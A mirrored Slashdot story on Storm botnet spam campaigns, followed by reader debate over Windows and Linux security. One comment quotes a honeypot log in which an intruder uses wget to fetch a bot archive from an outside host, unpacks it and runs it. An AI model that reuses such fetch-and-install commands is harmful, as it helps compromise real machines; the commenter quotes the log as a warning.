Slashdot Mirror
Storm Botnet Is Behind Two New Attacks
We've gotten a number of submissions about the new tricks the massive Storm botnet has been up to. Estimates of the size of this botnet range from 250K-1M to 5M-10M compromised machines. Reader cottagetrees notes a writeup at Exploit Prevention Labs on a new social engineering attack involving YouTube. The emails, which may be targeted at people who use private domain registrations, warn the recipient that their "face is all over 'net" on a YouTube video. The link is to a Storm-infected bot that attacks using the Q4Rollup exploit (a package of about a dozen encrypted exploits). And reader thefickler writes that the recent wave of "confirmation spam" is also due to Storm, as was the earlier, months-long "e-card from a friend" series of attack emails.
I fscking hate SPAM!
Dominant Meme
We don't get infected, but UNIX users still have to deal with the spam that the botnets are spewing.
I am really bloody sick of Microsoft's shoddy work. The spammers are arsonists, but Microsoft are the company that keeps building the houses out of gasoline-soaked balsa wood and flash paper.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
We've found solutions; don't use shoddy software. The problem is all of the people who haven't switched yet.
I am TheRaven on Soylent News
The spammers are arsonists, but Microsoft are the company that keeps building the houses out of gasoline-soaked balsa wood and flash paper.
OK, since you used the word "keeps building", I assume this is about more like Vista than Windows 95.
But if a trojan in Vista asks you to elevate its privilegies (due to UAC) to run administrative tasks such as installing itself in the system, and the user clicks yes, what should happen instead? This would be equivalent to a Linux user getting an email telling he needs to run some shady software under root privilegies, and the user saying "yes please, do that now".
Beware: In C++, your friends can see your privates!
I hate these comments "Damn Microsoft and their inferior security". That's BS, the reason Windows gets hacked is because there are so many more MS machines than any other type of machine. Botnets are there to make money, the more machines they infect the more spam they produce, the more money tehy make. If you want to infect machines, you go for Windows because it has by far the most market share, so it returns the biggest profit. So all the people hacking machines aim at Windows, and multi-million dollar businesses solely aimed at hacking Windows, if any other operating system had that much focus given to it, it would collapse in days, so stop with all the shit about MS having bad security, they do quite a good job in the absolute worst circumstances and as a result only the stupid users get infections.
~Not AC cause I don't value my karma~
You mean it is the evil linux haxors that deliberately sabotage poor Microsoft?
That is hilarious.
Even worse: it's the good-natured Linux users who try to find a balance between Joe User's wants and needs on the one hand, and their own patience and free time on the other.
I tried. I really tried securing my ex-gf's family computer. I opened accounts for everyone. I only left admin privileges on one account. Set everything up.
Everybody just used the admin account again. Not even the fact that each could have their own desktop didn't entice them to use their own accounts; instead, they had one desktop full of five people's crud.
Ignore this signature. By order.
As long as the situation remains like this, there is little Microsoft can do. No, they could arrange for the majority of their own user-targetted apps (e.g. Office) to refuse to run in read-write mode when run from an account with Admin privileges. They could clamp down on giving "Windows Certification" to things like printer drivers that require Admin privs to work (after installation). They could get similarly strict with applications. All those sorts of things. Make life actually workable for people who are running without high privs. And without doing that, they'll never manage to inculcate a culture of security, and there's an awful long way to go there, alas...
(BTW, if you're writing a GUI application for Linux, maybe you should think about taking similar steps. We cannot preach to others if our own house is not in order.)
"Little does he know, but there is no 'I' in 'Idiot'!"
For instance, here's a recent attack to my honeypot (Running Slackware Linux)
/home/webmaster/. ./ .bash_history .ssh/ ../ .screenrc .xsession /home/webmaster/.bash_history /etc/hosts /proc/cpuinfo /var/tmp .bot/
root@zomg:~# cat
root@zomg:~# cat
ssh localhost
w
cat
cat
passwd
cd
ks
l
sl
ls
ls- all
ls -all
mkdir " "
cd " "
clear
wget imaginez0r.xhost.ro/botme.tar.gz
tar zxvf botme.tar.gz
rm -rf botme.tar.gz
cd
PATH=.:$PATH
bash
These kind of attacks happen every day, sometimes more than once a day. If you don't patch and secure your machine, or do stupid things like download and run binaries, it's gonna get owned. Doesn't matter what OS you run.
the reason Windows gets hacked is because there are so many more MS machines than any other type of machine.
If that was the case, then why are Microsoft applications (like IIS) more often compromised than non-Microsoft applications even in areas where Microsoft is NOT dominant?
Windows is inherently less secure than most of the competition in a number of ways.
1. The Microsoft HTML control's use of ActiveX is inherently insecure and can not be fixed without breaking every application that uses the HTML control.
1a. This insecure design was deliberate and Microsoft fought the Justice Department to a standstill rather than change or replace it.
2. Windows requires a number of insecure services to run to perform routine operations.
2a. There is no way to force these services to be run local-only without using a firewall.
2b. This means that Windows Firewall has to be used to secure Windows to the same degree as a UNIX based system WITHOUT a firewall.
3. Windows document formats are still based on serialized COM objects. It's even possible for them to include serialized COM objects in XML files.
3a. Serialized COM objects can refer to or even contain insecure code that can be used for an attack.
The idea that any one of these three issues and theor consequent corollaries are accepted boggles my mind. The idea that they're defended by the claim that the only reason Windows is more often compromised is that it is more common...I can not conceive of the confusion in the mind that would lead to such a conclusion.
Hope your happy Billyboy Gates!
I'm not sure which is worse: unpatched Windows machines, or Linux boxes without the critical patch that allows fanboys to type the word "you're."
Don't disappoint your bird dog. Go to the range.
You know, I can go and buy a microwave oven and plug it safely into a standardized outlet and not electrocute myself or blow up my house. I can even buy a propane tank and fire up my grill without risking my life too much. I can buy a modern automobile and feel confident that if I drive it into a tree at 30 MPH or roll it over, I still have a reasonable chance of surviving. Most things have built-in standardized safety features and/or safe failure modes (within reason).
These things I can buy are all tools, some with licensing or age restrictions attached, but all more-or-less idiot-proofed. The razor blades I bought recently to scrape paint off my windows even warned me that they were "razor sharp". Well duh.
But the most sophisticated, most powerful, most versatile, general purpose tool we humans have yet invented, the networked personal computer, has been sold to and is used by millions of people without any training whatsoever and without any warnings outside of what one might pick up from the "Dangers in Cyberspace" fluff segment on the local news.
People are using computers more and more to organize all of their critical financial information. A single security breach can have catastrophic, real consequences, if for example your identity is stolen and your credit is ruined after your bank accounts are drained overnight.
All you have to do is click on one really bad link. Sometimes, not even that.
This is just another example of how technology is changing human society in completely unpredictable ways. Back in the 80's, you might have worried about a virus wiping out your word processing file. Today, typing your username and password on an untrusted machine, even just once, can compromise your entire life, and ruin your future.
it's a blue bright blue Saturday hey hey
Does Storm only attack Windows? Likely yes, I'm sure. Shouldn't Microsoft be attacking this one specifically with their malicious software scanner that's part of every Windows Update?
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
I think what he meant was you can install but not use the app while logged in as an Administrator account, encouraging people to log in as users.
Not a Twitter sockpuppet... but I wish I was.
I can show you a custom-hardened build of Windows Server 2003
Umm... So what? You go to great lengths to lock down a windows machine, and good for you. It doesn't help the millions of people affected by the bugs present in a pristine install of any MS product.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
This is not crippling admin accounts, it is making apps behave in an administrative manner when run by an admin.
Staroffice 3.x was a brilliant example. When you ran its setup as root it automatically went into global per-machine setup mode, while running it as Joe Average User made it run a workstation setup. In fact Office 6.x for Windows 95/NT behaved in a similar manner as well. If you ran it from a network install it behaved differently when run as admin vs when run as an average user.
I have no idea why developers stopped doing that. IMO, that was the right behaviour.
Baker's Law: Misery no longer loves company. Nowadays it insists on it
http://www.sigsegv.cx/
My Linux box works fine. I'm not sure what you're problem is. ;-)
"Until Microsoft deploys a fundamentally more secure OS or people simply stop using Windows to any great extent, there is nothing we can do"
/.'er for the UAC prompts. However, the user is only shown a prompt when an application is doing things that people in this thread are saying applications should not be allowed to do. No, UAC is not an elegant solution. But the problem is that an entire ecosystem of software exists that was not written with an eye on security. These apps are doing things that apps should not be doing, often time just to make things easier on the programmer.. Microsoft needs to throw a UAC when this happens. In time, more and more apps will play by the rules and not throw prompts.
Ok, I call Bullshit.
1. Microsoft DID come out with this "more secure" OS. Like it or not, Vista is a major improvement. But it gets SLAMMED by the average
This is a tangent, but still to the point: MSFT is dammed if they do, dammed if they don't.
2. Linux/OSX/Whatever isn't perfect. BY FAR. Right now, the reward is SO GREAT for hacking on windows boxes. You only have to scale a 6 foot fence to gain access to multi-millions of users. In, say, linux, or OSX you have to scale a 9 foot fence to gain access to a fraction of that. Right now, cracking Windows just makes sense for crackers. But you (and others) seem to think that botnets would just go away forever if only Microsoft gets their act together. That's insane. People are getting RICH off botnets. You think they're just going to stop because the game got a bit tougher? No way... As the reward factor of Windows diffuses down to the level of the other mainstream OS's, you'll see they'll get attacked more, too.
3. Microsoft isn't going anywhere. This is the nature of the game, people! So sitting around here talking about "When everyone switches" or whatever is just silly. It's childish. You think you're part of the solution b/c you run an alternative OS? You're not. If you want to be part of the solution, start thinking about how to defeat these people in a way that doesn't involve bashing Windows.
Your approach is a LOT like saying "Terrorism won't be a problem once everyone switches to Christianity."